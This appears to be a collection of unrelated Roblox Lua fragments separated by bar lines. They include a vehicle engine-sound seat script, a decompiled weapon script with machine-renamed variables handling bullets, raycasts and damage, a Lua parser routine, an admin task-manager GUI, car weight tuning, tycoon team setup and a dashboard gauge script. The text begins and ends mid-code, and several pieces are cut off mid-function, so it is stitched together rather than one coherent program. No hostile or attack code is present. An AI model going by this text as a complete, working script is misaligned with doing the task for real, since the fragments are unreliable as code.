L_28_:FireClient(L_2_, false)
end)
|
-- Torso
|
character:FindFirstChild("Humanoid").CameraOffset = Vector3.new(0,0,-2)
end
end)
|
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here
|
seat = script.Parent
function onChildAdded(part)
script.Parent.Parent.Base.EngineStart:Play()
script.Parent.Parent.Base.EngineStop:Stop()
wait(3)
script.Parent.Parent.Base.EngineSound:Play()
end
function onChildRemoved(part)
script.Parent.Parent.Base.EngineStop:Play()
script.Parent.Parent.Base.EngineSound:Stop()
script.Parent.Parent.Base.EngineStart:Stop()
end
seat.ChildAdded:connect(onChildAdded)
seat.ChildRemoved:connect(onChildRemoved)
|
--Enter the name of the model you want to go to here.
------------------------------------
|
modelname="teleporta"
|
--Why don't you see what you can do with this model? Maybe load some more R15 animations, or even use it as a StarterCharacter?
| |
-- Unsafe to use with non-Portalshot modes.
|
function CircularEdge.new(Activity)
local self = {
Generator = Random.new(os.time());
Activity = Activity;
}
return setmetatable(self, CircularEdge)
end
function CircularEdge:GetRotation(N: number): number
-- We do this to include the noiseness factor.
return self.Generator:NextInteger(-N, N) + self.Generator:NextNumber()
end
function CircularEdge:GetNextPoint(Player: Player): CFrame
local Origin: CFrame = self.Activity.SpawnArea:GetTargetAreaPosition(Player)
local TargetAreaSize = self.Activity.Settings.TargetAreaSize
return Origin
* CFrame.Angles(0, math.rad(self:GetRotation(self.Activity.SpawnMechanism.State.Angles / 2)), 0)
* CFrame.Angles(math.rad(self:GetRotation(TargetAreaSize.Y / 2)), 0, 0)
* CFrame.new(TargetAreaSize.X / 2, 0, TargetAreaSize.Z / 2)
end
CircularEdge.GetStartingPoint = CircularEdge.GetNextPoint
return CircularEdge
|
------------------------------------------------------------------------
-- parse a generic for loop, calls forbody()
-- * used in forstat()
------------------------------------------------------------------------
|
function luaY:forlist(ls, indexname)
-- forlist -> NAME {,NAME} IN explist1 forbody
local fs = ls.fs
local e = {} -- expdesc
local nvars = 0
local base = fs.freereg
-- create control variables
self:new_localvarliteral(ls, "(for generator)", nvars)
nvars = nvars + 1
self:new_localvarliteral(ls, "(for state)", nvars)
nvars = nvars + 1
self:new_localvarliteral(ls, "(for control)", nvars)
nvars = nvars + 1
-- create declared variables
self:new_localvar(ls, indexname, nvars)
nvars = nvars + 1
while self:testnext(ls, ",") do
self:new_localvar(ls, self:str_checkname(ls), nvars)
nvars = nvars + 1
end
self:checknext(ls, "TK_IN")
local line = ls.linenumber
self:adjust_assign(ls, 3, self:explist1(ls, e), e)
luaK:checkstack(fs, 3) -- extra space to call generator
self:forbody(ls, base, line, nvars - 3, false)
end
|
--// Firemode Functions
|
function CreateBullet(L_141_arg1)
local L_142_ = L_37_.Position
local L_143_ = (L_4_.Hit.p - L_142_).unit
local L_144_ = CFrame.Angles(math.rad(math.random(-L_141_arg1, L_141_arg1)), math.rad(math.random(-L_141_arg1, L_141_arg1)), math.rad(math.random(-L_141_arg1, L_141_arg1)))
L_143_ = L_144_ * L_143_
local L_145_ = CFrame.new(L_142_, L_142_ + L_143_)
local L_146_ = Instance.new("Part", L_66_)
game.Debris:AddItem(L_146_, 10)
L_146_.Shape = Enum.PartType.Ball
L_146_.Size = Vector3.new(1, 1, 12)
L_146_.Name = "Bullet"
L_146_.TopSurface = "Smooth"
L_146_.BottomSurface = "Smooth"
L_146_.BrickColor = BrickColor.new("Bright green")
L_146_.Material = "Neon"
L_146_.CanCollide = false
--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)
L_146_.CFrame = L_145_
local L_147_ = Instance.new("Sound")
L_147_.SoundId = "rbxassetid://341519743"
L_147_.Looped = true
L_147_:Play()
L_147_.Parent = L_146_
L_147_.Volume = 0.4
L_147_.MaxDistance = 30
local L_148_ = Instance.new("SpecialMesh", L_146_)
L_148_.MeshType = "Sphere"
L_148_.Scale = Vector3.new(0.2, 0.2, 0.8)
L_146_.Transparency = 1
local L_149_ = L_146_:GetMass()
local L_150_ = Instance.new('BodyForce', L_146_)
L_150_.Force = L_21_.BulletPhysics
L_146_.Velocity = L_143_ * L_21_.BulletSpeed
local L_151_ = Instance.new('Attachment', L_146_)
L_151_.Position = Vector3.new(0.1, 0, 0)
local L_152_ = Instance.new('Attachment', L_146_)
L_152_.Position = Vector3.new(-0.1, 0, 0)
local L_153_ = TracerCalculation()
if L_21_.TracerEnabled == true and L_153_ then
local L_154_ = Instance.new('Trail', L_146_)
L_154_.Attachment0 = L_151_
L_154_.Attachment1 = L_152_
L_154_.Transparency = NumberSequence.new(L_21_.TracerTransparency)
L_154_.LightEmission = L_21_.TracerLightEmission
L_154_.TextureLength = L_21_.TracerTextureLength
L_154_.Lifetime = L_21_.TracerLifetime
L_154_.FaceCamera = L_21_.TracerFaceCamera
L_154_.Color = ColorSequence.new(L_21_.TracerColor.Color)
end
if L_1_:FindFirstChild('Shell') then
CreateShell()
end
delay(0.2, function()
L_146_.Transparency = 0
end)
return L_146_
end
function CheckForHumanoid(L_155_arg1)
local L_156_
local L_157_
if (L_155_arg1.Parent:FindFirstChild("Humanoid") or L_155_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
L_156_ = true
if L_155_arg1.Parent:FindFirstChild('Humanoid') then
L_157_ = L_155_arg1.Parent.Humanoid
elseif L_155_arg1.Parent.Parent:FindFirstChild('Humanoid') then
L_157_ = L_155_arg1.Parent.Parent.Humanoid
end
else
L_156_ = false
end
return L_156_, L_157_
end
function CastRay(L_158_arg1)
local L_159_, L_160_, L_161_
local L_162_ = L_37_.Position;
local L_163_ = L_158_arg1.Position;
local L_164_ = 0
while true do
L_70_:wait()
L_163_ = L_158_arg1.Position;
L_164_ = L_164_ + (L_163_ - L_162_).magnitude
L_159_, L_160_, L_161_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_162_, (L_163_ - L_162_)), IgnoreList);
local L_165_ = Vector3.new(0, 1, 0):Cross(L_161_)
local L_166_ = math.asin(L_165_.magnitude) -- division by 1 is redundant
if L_164_ > 10000 then
break
end
if L_159_ and (L_159_ and L_159_.Transparency >= 1 or L_159_.CanCollide == false) then
table.insert(IgnoreList, L_159_)
end
if L_159_ then
L_165_ = Vector3.new(0, 1, 0):Cross(L_161_)
L_166_ = math.asin(L_165_.magnitude) -- division by 1 is redundant
local L_167_ = CheckForHumanoid(L_159_)
if L_167_ == false then
L_158_arg1:Destroy()
L_77_:FireServer(L_160_, L_165_, L_166_, L_161_, "Part")
elseif L_167_ == true then
L_158_arg1:Destroy()
L_77_:FireServer(L_160_, L_165_, L_166_, L_161_, "Human")
end
end
if L_159_ and (L_159_.Parent:FindFirstChild("Humanoid") or L_159_.Parent.Parent:FindFirstChild("Humanoid")) then
local L_168_, L_169_ = CheckForHumanoid(L_159_)
if L_168_ then
if L_21_.AntiTK then
if game.Players:FindFirstChild(L_169_.Parent.Name) and game.Players:FindFirstChild(L_169_.Parent.Name).TeamColor ~= L_2_.TeamColor then
if L_159_.Name == 'Head' then
L_74_:FireServer(L_169_, L_21_.HeadDamage)
elseif L_159_.Name ~= 'Head' and not (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
L_74_:FireServer(L_169_, L_21_.Damage)
elseif (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
L_74_:FireServer(L_169_, L_21_.HeadDamage)
end
end
else
if L_159_.Name == 'Head' then
L_74_:FireServer(L_169_, L_21_.HeadDamage)
elseif L_159_.Name ~= 'Head' and not (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
L_74_:FireServer(L_169_, L_21_.Damage)
elseif (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
L_74_:FireServer(L_169_, L_21_.HeadDamage)
end
end
end
end
if L_159_ and L_159_.Parent:FindFirstChild("Humanoid") then
local L_170_
if L_159_ and L_159_.Parent:FindFirstChild("Humanoid") or L_159_.Parent.Parent:FindFirstChild("Humanoid") then
if L_159_.Parent:IsA("Accessory") then
L_170_ = L_159_.Parent.Parent.Humanoid
elseif not L_159_.Parent:IsA("Accessory") then
L_170_ = L_159_.Parent.Humanoid
end
L_75_:FireServer(L_170_)
end
return L_159_, L_160_;
end
L_162_ = L_163_;
end
end
function fireSemi()
if L_14_ then
L_46_ = false
Recoiling = true
Shooting = true
L_73_:FireServer()
L_67_ = CreateBullet(0)
L_68_ = L_68_ - 1
RecoilFront = true
local L_171_, L_172_ = spawn(function()
CastRay(L_67_)
end)
for L_174_forvar1, L_175_forvar2 in pairs(L_37_:GetChildren()) do
if L_175_forvar2.Name:sub(1, 7) == "FlashFX" then
L_175_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_176_forvar1, L_177_forvar2 in pairs(L_37_:GetChildren()) do
if L_177_forvar2.Name:sub(1, 7) == "FlashFX" then
L_177_forvar2.Enabled = false
end
end
end)
if L_21_.CanBolt == true then
BoltingBackAnim()
delay(L_21_.Firerate / 2, function()
if L_21_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_21_.CanSlideLock == true and L_68_ > 0 then
BoltingBackAnim()
end
end)
end
delay(L_21_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_21_.Firerate)
local L_173_ = JamCalculation()
if L_173_ then
L_46_ = false
else
L_46_ = true
end
Shooting = false
end
end
function fireShot()
if L_14_ then
L_46_ = false
Recoiling = true
Shooting = true
RecoilFront = true
L_73_:FireServer()
for L_179_forvar1 = 1, L_21_.ShotNum do
L_67_ = CreateBullet(2)
local L_180_, L_181_ = spawn(function()
CastRay(L_67_)
end)
end
for L_182_forvar1, L_183_forvar2 in pairs(L_37_:GetChildren()) do
if L_183_forvar2.Name:sub(1, 7) == "FlashFX" then
L_183_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_184_forvar1, L_185_forvar2 in pairs(L_37_:GetChildren()) do
if L_185_forvar2.Name:sub(1, 7) == "FlashFX" then
L_185_forvar2.Enabled = false
end
end
end)
if L_21_.CanBolt == true then
BoltingBackAnim()
delay(L_21_.Firerate / 2, function()
if L_21_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_21_.CanSlideLock == true and L_68_ > 0 then
BoltingBackAnim()
end
end)
end
delay(L_21_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
L_68_ = L_68_ - 1
wait(L_21_.Firerate)
local L_178_ = JamCalculation()
if L_178_ then
L_46_ = false
else
L_46_ = true
end
Shooting = false
end
end
function fireBoltAction()
if L_14_ then
L_46_ = false
Recoiling = true
Shooting = true
L_73_:FireServer()
L_67_ = CreateBullet(0)
L_68_ = L_68_ - 1
RecoilFront = true
local L_186_, L_187_ = spawn(function()
CastRay(L_67_)
end)
for L_189_forvar1, L_190_forvar2 in pairs(L_37_:GetChildren()) do
if L_190_forvar2.Name:sub(1, 7) == "FlashFX" then
L_190_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_191_forvar1, L_192_forvar2 in pairs(L_37_:GetChildren()) do
if L_192_forvar2.Name:sub(1, 7) == "FlashFX" then
L_192_forvar2.Enabled = false
end
end
end)
if L_21_.CanBolt == true then
BoltingBackAnim()
delay(L_21_.Firerate / 2, function()
if L_21_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_21_.CanSlideLock == true and L_68_ > 0 then
BoltingBackAnim()
end
end)
end
delay(L_21_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_21_.Firerate)
BoltBackAnim()
BoltForwardAnim()
IdleAnim()
local L_188_ = JamCalculation()
if L_188_ then
L_46_ = false
else
L_46_ = true
end
Shooting = false
end
end
function fireAuto()
while not Shooting and L_68_ > 0 and L_45_ and L_46_ and L_14_ do
L_46_ = false
Recoiling = true
L_73_:FireServer()
L_68_ = L_68_ - 1
Shooting = true
RecoilFront = true
L_67_ = CreateBullet(0)
local L_193_, L_194_ = spawn(function()
CastRay(L_67_)
end)
for L_196_forvar1, L_197_forvar2 in pairs(L_37_:GetChildren()) do
if L_197_forvar2.Name:sub(1, 7) == "FlashFX" then
L_197_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_198_forvar1, L_199_forvar2 in pairs(L_37_:GetChildren()) do
if L_199_forvar2.Name:sub(1, 7) == "FlashFX" then
L_199_forvar2.Enabled = false
end
end
end)
if L_21_.CanBolt == true then
BoltingBackAnim()
delay(L_21_.Firerate / 2, function()
if L_21_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_21_.CanSlideLock == true and L_68_ > 0 then
BoltingForwardAnim()
end
end)
end
delay(L_21_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_21_.Firerate)
local L_195_ = JamCalculation()
if L_195_ then
L_46_ = false
else
L_46_ = true
end
Shooting = false
end
end
function fireBurst()
if not Shooting and L_68_ > 0 and L_45_ and L_14_ then
for L_200_forvar1 = 1, L_21_.BurstNum do
if L_68_ > 0 and L_45_ then
L_46_ = false
Recoiling = true
L_73_:FireServer()
L_67_ = CreateBullet(0)
local L_201_, L_202_ = spawn(function()
CastRay(L_67_)
end)
for L_204_forvar1, L_205_forvar2 in pairs(L_37_:GetChildren()) do
if L_205_forvar2.Name:sub(1, 7) == "FlashFX" then
L_205_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_206_forvar1, L_207_forvar2 in pairs(L_37_:GetChildren()) do
if L_207_forvar2.Name:sub(1, 7) == "FlashFX" then
L_207_forvar2.Enabled = false
end
end
end)
if L_21_.CanBolt == true then
BoltingBackAnim()
delay(L_21_.Firerate / 2, function()
if L_21_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_21_.CanSlideLock == true and L_68_ > 0 then
BoltingForwardAnim()
end
end)
end
L_68_ = L_68_ - 1
RecoilFront = true
delay(L_21_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_21_.Firerate)
local L_203_ = JamCalculation()
if L_203_ then
L_46_ = false
else
L_46_ = true
end
end
Shooting = true
end
Shooting = false
end
end
function Shoot()
if L_14_ and L_46_ then
if L_59_ == 1 then
fireSemi()
elseif L_59_ == 2 then
fireAuto()
elseif L_59_ == 3 then
fireBurst()
elseif L_59_ == 4 then
fireBoltAction()
elseif L_59_ == 5 then
fireShot()
end
end
end
|
--// All global vars will be wiped/replaced except script
|
local function Expand(ent, point)
ent.MouseLeave:Connect(function(x,y)
point.Visible = false
end)
ent.MouseMoved:Connect(function(x,y)
point.Label.Text = ent.Desc.Value
point.Size = UDim2.new(0, 10000, 0, 10000)
local bounds = point.Label.TextBounds.X
local rows = math.floor(bounds/500)
rows = rows+1
if rows<1 then rows = 1 end
local newx = 500
if bounds<500 then newx = bounds end
point.Visible = true
point.Size = UDim2.new(0, newx+5, 0, (rows*20)+5)
point.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5))
end)
end
return function(data, env)
if env then
setfenv(1, env)
end
local gTable = data.gTable
local gui = gTable.Object
local drag = gui.Drag
local Main = gui.Drag.Main
local Close = gui.Drag.Close
local Hide = gui.Drag.Hide
local Search = gui.Drag.Search
local cTab = gui.Drag.Main.ClientTab
local sTab = gui.Drag.Main.ServerTab
local Dragger = gui.Drag.Main.Dragger
local cFrame = gui.Drag.Main.Client
local sFrame = gui.Drag.Main.Server
local Title = gui.Drag.Title
local Entry = gui.Entry
local Desc = gui.Desc
local num = 0
local mouse = service.Players.LocalPlayer:GetMouse()
local nx,ny = drag.AbsoluteSize.X,Main.AbsoluteSize.Y
local dragging = false
local defx,defy = nx,ny
local topText = ""
local function openClient()
sFrame.Visible = false
cFrame.Visible = true
cTab.BackgroundTransparency = 0
sTab.BackgroundTransparency = 0.5
end
local function openServer()
sFrame.Visible = true
cFrame.Visible = false
cTab.BackgroundTransparency = 0.5
sTab.BackgroundTransparency = 0
end
local updateLists; updateLists = function()
local serverTasks --= client.Remote.Get("TaskCommand","GetTasks")
local clientTasks = service.GetTasks() --service.Threads.Tasks
--// Unfinished
cFrame:ClearAllChildren()
local cNum = 0
for index,task in pairs(clientTasks) do
local new = Entry:Clone()
local frame = new.Frame
local status = task:Status()
new.Parent = cFrame
new.Visible = true
new.Desc.Value = task.Name
new.Position = UDim2.new(0,0,0,cNum*20)
frame.Text.Text = tostring(task.Function)
frame.Status.Text = status
if status == "suspended" then
frame.Resume.Text = "Resume"
elseif status == "normal" or status == "running" then
frame.Resume.Text = "Suspend"
end
frame.Resume.MouseButton1Down:Connect(function()
if frame.Resume.Text == "Resume" and task:Status() == "Suspended" then
task:Resume()
else
task:Pause()
end
wait(0.5)
updateLists()
end)
frame.Kill.MouseButton1Down:Connect(function()
task:Kill()
wait(0.5)
updateLists()
end)
frame.Stop.MouseButton1Down:Connect(function()
task:Stop()
wait(0.5)
updateLists()
end)
Expand(new,Desc)
cNum = cNum+1
end
cFrame.CanvasSize = UDim2.new(0, 0, 0, num*20)
end
sTab.MouseButton1Down:Connect(openServer)
cTab.MouseButton1Down:Connect(openClient)
Close.MouseButton1Click:Connect(function()
drag.Draggable = false
drag:TweenPosition(UDim2.new(drag.Position.X.Scale, drag.Position.X.Offset, 1,0), "Out", "Sine", 0.5, true)
wait(0.5)
gTable:Destroy()
end)
drag.BackgroundColor3 = Main.BackgroundColor3
Hide.MouseButton1Click:Connect(function()
if Main.Visible then
Main.Visible = false
drag.BackgroundTransparency = Main.BackgroundTransparency
Hide.Text = "+"
else
Main.Visible = true
drag.BackgroundTransparency = 1
Hide.Text = "-"
end
end)
mouse.Move:Connect(function(x,y)
if dragging then
nx=defx+(Dragger.Position.X.Offset+20)
ny=defy+(Dragger.Position.Y.Offset+20)
if nx<200 then nx=200 end
if ny<200 then ny=200 end
drag.Size=UDim2.new(0, nx, 0, 30)
Main.Size=UDim2.new(1, 0, 0, ny)
if nx<220 then
if topText=="" then
topText=Title.Text
end
Title.Text=""
else
if topText~="" then
Title.Text=topText
topText=""
end
end
end
end)
Dragger.DragBegin:Connect(function(init)
dragging = true
end)
Dragger.DragStopped:Connect(function(x,y)
dragging = false
defx = nx
defy = ny
Dragger.Position = UDim2.new(1,-20,1,-20)
end)
gTable:Ready()
while wait(1) do
updateLists()
end
end
|
--// Walk and Sway
|
local L_136_
local L_137_ = 0.6
local L_138_ = 0.05 -- speed
local L_139_ = -0.1 -- height
local L_140_ = 0
local L_141_ = 0
local L_142_ = 35 --This is the limit of the mouse input for the sway
local L_143_ = -9 --This is the magnitude of the sway when you're unaimed
local L_144_ = -9 --This is the magnitude of the sway when you're aimed
|
--[=[
@return boolean
Returns the [`GuiService.AutoSelectGuiEnabled`](https://developer.roblox.com/en-us/api-reference/property/GuiService/AutoSelectGuiEnabled)
property.
]=]
|
function Gamepad:IsAutoSelectGuiEnabled(): boolean
return GuiService.AutoSelectGuiEnabled
end
|
--[[Weight and CG]]
|
Tune.Weight = 2450 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[[**
matches given tuple against tuple type definition
@param ... The type definition for the tuples
@returns A function that will return true iff the condition is passed
**--]]
|
function t.tuple(...)
local checks = { ... }
return function(...)
local args = { ... }
for i, check in ipairs(checks) do
local success, errMsg = check(args[i])
if success == false then
return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
end
end
return true
end
end
|
-- DEPRECATED: Use openMerchBooth instead. openCatalogView is kept around for
-- backwards compatibility
|
module.openCatalogView = module.openMerchBooth
return module
|
--run this first so if there is a 'white' team it is switched over
|
if not Settings['AutoAssignTeams'] then
local teamHire = Instance.new('Team', Teams)
teamHire.TeamColor = BC.new('White')
teamHire.Name = "For Hire"
end
for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names
if returnColorTaken(v.TeamColor) then
--//Handle duplicate team colors
local newColor;
repeat
wait()
newColor = BC.Random()
until returnColorTaken(newColor) == false
v.TeamColor.Value = newColor
end
--Now that there are for sure no duplicates, make your teams
local NewTeam = Instance.new('Team',Teams)
NewTeam.Name = v.Name
NewTeam.TeamColor = v.TeamColor.Value
if not Settings['AutoAssignTeams'] then
NewTeam.AutoAssignable = false
end
--v.PurchaseHandler.Disabled = false
end
function getPlrTycoon(player)
for i,v in pairs(script.Parent.Tycoons:GetChildren()) do
if v:IsA("Model") then
if v.Owner.Value == player then
return v
end
end
end
return nil
end
game.Players.PlayerAdded:connect(function(player)
local leaderStat = player:WaitForChild("leaderstats")
local canRebirth = Instance.new("BoolValue")
canRebirth.Name = "CanRebirth"
canRebirth.Value = false
canRebirth.Parent = player
if RebirthSettings.Rebirth.enabled == true then
if leaderStat ~= nil then
local rebirth = Instance.new("NumberValue")
rebirth.Name = "Rebirths"
rebirth.Parent = leaderStat
local rebirthCount = PlayerStatManager:getStat(player,"RebirthCount")
if rebirthCount ~= nil then
rebirth.Value = rebirthCount
else
rebirth.Value = 0
end
end
end
end)
game.Players.PlayerRemoving:connect(function(player)
--print("PlayerStatManager:saveOnExit("..player.Name..")")
PlayerStatManager:saveOnExit(player)
PlayerStatManager:setPlayerSessionDataToNil(player)
local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)
if plrStats ~= nil then
plrStats:Destroy()
end
print("AFTER Saving and deleting plrStats")
local tycoon = getPlrTycoon(player)
if tycoon then
local backup = Tycoons[tycoon.Name]:Clone()
tycoon:Destroy()
wait()
backup.Parent=script.Parent.Tycoons
end
end)
|
--[[Weight Scaling]]
|
--[Cubic stud : pounds ratio]
--[STANDARDIZED: Don't touch unless needed]
Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs)
Tune.LegacyScaling = 1/20 --Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]
return Tune
|
-- Service varables
|
local players=game:GetService("Players")
local lp=players.LocalPlayer
local char=lp.Character or lp.CharacterAdded:wait()
local hum=char:WaitForChild("Humanoid")
local UIS=game:GetService("UserInputService")
|
---------------------------------------------------
|
Displays = 3 -- Sets how many displays this scripts will use...
DisplayColor = Color3.fromRGB(248, 248, 248)
|
--[=[
Returns `true` if the timer is currently running.
```lua
if timer:IsRunning() then
-- Do something
end
```
]=]
|
function Timer:IsRunning(): boolean
return self._runHandle ~= nil
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.DashSc.G.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.DashSc.G.Gear.Text = "R"
else
end
script.Parent.Gear.Text = gearText
car.Body.Dash.DashSc.G.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
